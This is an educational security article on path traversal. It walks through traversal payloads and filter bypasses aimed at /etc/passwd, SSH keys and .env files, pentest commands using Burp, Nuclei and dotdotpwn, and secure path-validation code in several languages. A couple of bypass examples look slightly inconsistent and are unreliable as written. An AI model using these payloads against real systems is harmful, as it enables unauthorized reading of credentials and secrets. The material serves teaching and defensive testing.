Path Traversal - Verzeichnisüberschreitung (Directory Traversal)
Path traversal (CWE-22, OWASP A01:2021) allows attackers to access files outside the permitted directory using ../ sequences. Objective: Reading sensitive files (/etc/passwd, web.config, .env, SSH keys); in the worst-case scenario, writing or executing files. Variants: URL-encoded traversal (%2e%2e%2f), double-encoded (%252e%252e%252f), null-byte injection (.php%00), Windows paths with backslash notation. Protection: absolute path validation with realpath(), allowlist-based file selection.
Path Traversal is one of the oldest and most persistent web vulnerabilities. Despite its long history, it regularly turns up in penetration tests—and in 2021, CVE-2021-41773 (Apache HTTP Server) made global headlines: a single %2e%2e/cgi-bin/ was enough to trigger remote code execution. The pattern is always the same: unvalidated user input flows directly into file system access.
Basic Principle
Normal file access:
https://example.com/download?file=report.pdf
→ Server: /var/www/uploads/report.pdf ← allowed
Path traversal attack:
https://example.com/download?file=../../../etc/passwd
→ Server: /var/www/uploads/../../../etc/passwd
= /etc/passwd ← outside the allowed directory!
Simple vulnerable implementation (PHP):
$file = $_GET['file'];
readfile('/var/www/uploads/' . $file); // ← NO protection!
Typical attack targets:
Linux:
→ /etc/passwd (user list)
→ /etc/shadow (password hashes, if as root)
→ /etc/hosts (network configuration)
→ ~/.ssh/id_rsa (SSH private key!)
→ /proc/self/environ (environment variables containing API keys!)
→ /proc/self/cmdline (process arguments)
Windows:
→ C:\Windows\win.ini (system information)
→ C:\Windows\System32\drivers\etc\hosts
→ C:\inetpub\wwwroot\web.config (database passwords!)
→ C:\Users\[user]\AppData\Local\Microsoft\Outlook\*.ost
Web applications:
→ .env (database passwords, API keys, secrets!)
→ config/database.yml (Rails)
→ WEB-INF/web.xml (Java)
→ ../../../wp-config.php (WordPress)
Bypass Techniques
Bypassing simple filters:
Filter 1: Replaces "../" with "" (non-recursive):
Bypass: "....//....//....//etc/passwd"
→ After replacement: "../../../etc/passwd"!
Filter 2: URL decoding only once:
Bypass: "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
→ Decoded: "../../../etc/passwd"
Filter 3: Slash is filtered:
Bypass: "%252e%252e%252fetc%252fpasswd" (double-encoded)
→ First decoding: "%2e%2e%2fetc%2fpasswd"
→ Second decoding: "../../../etc/passwd"
Filter 4: Expects .jpg at the end:
Bypass (Null byte, Legacy PHP < 5.3.4):
"../../../../etc/passwd%00.jpg"
→ PHP stops at null byte: reads /etc/passwd
→ .jpg check: filename ends with .jpg ← PASS!
Filter 5: Checks if path starts with "/uploads/":
Bypass: "/uploads/../../../../etc/passwd"
→ Starts with /uploads/ → PASS!
→ But contains path traversal!
Windows-specific bypasses:
Backslash: "..\..\..\..\Windows\win.ini"
URL-encoded: "..\"..\"..\"..\Windows\win.ini"
UNC paths: "\\server\share\file"
Drive letter: "C:\Windows\win.ini" (if absolute paths are accepted)
ZIP/archive-based path traversal (Zip Slip):
ZIP archive containing the entry "../../../evil.php"
→ When the application unpacks the ZIP: evil.php ends up OUTSIDE the target folder!
→ Known as "Zip Slip" (2018, Snyk)
→ Affects: Java, Python, Go, Ruby zip libraries (unpatched versions)
Detection in Penetration Testing
Systematic Testing:
1. Parameter Identification:
→ All parameters that indicate filenames/paths:
?file=, ?page=, ?path=, ?filename=, ?template=, ?doc=,
?view=, ?include=, ?load=, ?source=, ?content=, ?show=
2. Payload Progression (from simple to complex):
Level 1: Simple
?file=../../../etc/passwd
Level 2: URL-encoded
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Level 3: Double-encoded
?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Level 4: Null Byte (Legacy)
?file=../../../etc/passwd%00.pdf
Level 5: OS-specific
?file=..\..\..\Windows\win.ini (Windows)
3. Burp Suite Intruder:
→ Payload position: ?file=§value§
→ Payload list: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
→ Grep Match: "root:x:", "[drivers]", "DB_PASSWORD"
4. Indicators of Success:
→ Response contains "/bin/bash" or "root:x:0:0:" → /etc/passwd
→ Response contains "[fonts]" → win.ini
→ Error message contains path information: "Failed to open /etc/..."
5. Automated Testing:
# Nuclei with LFI templates:
nuclei -u https://target.com -tags lfi
# dotdotpwn:
dotdotpwn -m http -h target.com -u "https://target.com/page?file=TRAVERSAL"
Mitigation Measures
Secure implementations by language:
PHP - realpath() for absolute path validation:
$base = realpath('/var/www/uploads');
$requested = realpath($base . '/' . $_GET['file']);
if ($requested === false ||
strpos($requested, $base) !== 0) {
die('Access denied');
}
// Only here: Read file
Why realpath() is correct:
→ Resolves all ../ (including URL-encoded ones after decoding)
→ Returns FALSE if file does not exist → Attack detectable
→ Comparison with $base: outside? → DENY!
Python - pathlib for secure path validation:
from pathlib import Path
BASE_DIR = Path('/var/www/uploads').resolve()
requested = (BASE_DIR / user_input).resolve()
try:
requested.relative_to(BASE_DIR) # Raises ValueError if outside!
except ValueError:
raise PermissionError('Access denied')
# Now secure:
content = requested.read_bytes()
Java - Path.normalize() + startsWith():
Path base = Paths.get("/uploads").toAbsolutePath().normalize();
Path requested = base.resolve(userInput).normalize();
if (!requested.startsWith(base)) {
throw new SecurityException("Path traversal detected");
}
Node.js - path.resolve() + startsWith():
const base = path.resolve('/uploads');
const requested = path.resolve(base, userInput);
if (!requested.startsWith(base + path.sep)) {
return res.status(403).send('Forbidden');
}
Whitelist approach (most secure):
// Instead of open paths: only allowed filenames
const ALLOWED_FILES = {
'manual': 'manual.pdf',
'report': 'q4-report.pdf',
};
const filename = ALLOWED_FILES[req.query.doc];
if (!filename) return res.status(400).send('Invalid document');
res.sendFile(path.join('/uploads', filename));
Operating system level:
□ Web server process with minimal privileges (no root!)
□ chroot jail or container isolation
□ AppArmor/SELinux profiles: Read access only to defined paths
□ WAF rules: Block "../" and encoding variants
□ Logging: Alert on file accesses to anomalous paths